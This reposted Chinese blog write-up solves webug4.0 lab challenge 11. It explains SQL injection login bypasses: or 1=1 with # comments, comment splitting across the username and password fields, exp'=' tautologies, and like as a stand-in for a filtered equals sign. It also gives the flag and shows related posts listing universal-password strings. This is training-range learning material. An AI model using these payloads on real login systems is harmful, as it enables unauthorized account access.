webug4.0万能密码登陆-11

深藏阁楼爱情的钟 2022-01-06 02:01 289阅读 0赞

/\*这道题很水不过也值得总结下\*/

打开界面

![1368555-20190316225606567-1207226912.png][]

1.  我尝试输入 admin   admin  竟然出flag了。。。这应该不是作者本意

2. 好了 言归正传 我猜测后台逻辑应该是这样的：

select * from table where username= 'user' and password = 'pass'

3.1 利用逻辑绕过  构造payload   admin' or 1=1--+

输入后发现并没有进入，猜测应该是过滤了 'or' 或者'-' 或者'+'

用\#替换--+ 　　构造payload   admin' or 1=1\# 密码随便输入 发现登陆成功 那为什么--+就不行呢  -- 是注释需在后面添加空格 即 '-- '

admin' or '1'\#          admin'or'1'='1\# 也能绕过

\#  -- 都能注释到行底 /\*  \*/注释中间内容

3.2 利用注释绕过  构造payload 用户名：  admin'/\*asd    密码  asd\*/\#

select * from table where username= 'admin'/*' and password = 'asd*/#'

发现登录成功，说明没有过滤 '\#' ，尝试将\#换成 '-- '也能成功绕过，如果过滤了 'or'   '\#'  '-' 怎么绕过

如果你尝试把payload 用户名： exp/\*asd    密码  asd\*/\#  你会发现不能绕过，究其原因是数据库里面没有 'exp'

此时机智的你又想到如果数据库里没有 ‘admin'又该怎么绕过，

3.3  进阶的逻辑绕过    构造payload 用户名：  exp'='  密码  exp'='

select * from table where username= 'exp'='' and password = 'exp'=''

发现登陆成功，因为数据库里没有 'exp' sql从左向右执行，故 false='' 为真

4.4 如果过滤 '='  等号替换成like

select * from table where username= 'exp'like'' and password = 'exp'like''

这样也能成功绕过

flag: htryyujryfhyjtrjn

转载于:https://www.cnblogs.com/yuuki-aptx/p/10544985.html

[1368555-20190316225606567-1207226912.png]: /images/20211228/0e99e63498d649fb95185fe944231d62.png

发表评论取消回复

表情：

评论列表（有 0 条评论，289人围观）

还没有评论，来说两句吧...

相关阅读

相关 SSH登陆，增加互信，免密码登陆

第一步：执行命令： ssh-keygen -t rsa -P '' 生成公钥/私钥对；第二步：执行命令： cat id\_rsa.pub >> authori

比眉伴天荒/ 2022年07月27日 13:42/ 0 赞/ 220 阅读

相关 webug3.0安装

像我这样好多新手想找一个很好的靶场，但是别人推荐好了又不知道怎么搭建，就去百度上狂搜，结果有没有详细的方法，接下来我就把自己搭建的过程中一步一步解释一下：第一步：下载先

浅浅的花香味﹌/ 2022年05月30日 04:50/ 0 赞/ 222 阅读

相关【Web】SQL注入--万能密码

后台万能密码[¶][Link 1] admin' -- admin' admin'/ ' or 1=1-- ' or 1=

喜欢ヅ旅行/ 2022年05月17日 07:45/ 0 赞/ 968 阅读

相关 SQL注入原理-万能密码注入

分享一下我老师大神的人工智能教程！零基础，通俗易懂！[http://blog.csdn.net/jiangjunshow][http_blog.csdn.net_jiangju

迈不过友情╰/ 2022年04月17日 05:40/ 0 赞/ 395 阅读

相关 Redis 设置密码登陆

欢迎访问我的个人博客网站：[http://www.yanmin99.com/][http_www.yanmin99.com] Redis 设置密码登陆一

落日映苍穹つ/ 2022年04月06日 10:38/ 0 赞/ 221 阅读

相关后台登陆万能密码

asp aspx万能密码 1. "or "a"="a 2. ')or('a'='a 3. or 1=1-- 4. 'or 1=1-- 5. a'or'

た入场券/ 2022年02月14日 01:01/ 0 赞/ 593 阅读

相关 webug4.0万能密码登陆-11

/\这道题很水不过也值得总结下\/ 打开界面 ![1368555-20190316225606567-1207226912.png][] 1. 我尝试输入 adm

深藏阁楼爱情的钟/ 2022年01月06日 02:01/ 0 赞/ 290 阅读

相关 ssh 无密码登陆

本文引用自：[Linux大神博客的博文][Linux] SSH无密码登录：只需两个简单步骤 (Linux) 如果你管理一台Linux服务器，那么你就会知道每次SSH登

比眉伴天荒/ 2021年12月14日 14:19/ 0 赞/ 527 阅读

相关 redis设置密码登陆

config set masterauth (password)--设密 config set requirepass (password)--设置必输 auth

客官°小女子只卖身不卖艺/ 2021年11月17日 22:58/ 0 赞/ 317 阅读

相关 Layui登陆记住密码

1.引入文件（jquery，jquery.cookie.js）注意顺序（未包含layui，自行添加） <script src="../lib/jquery-3

快来打我*/ 2021年08月13日 22:09/ 0 赞/ 827 阅读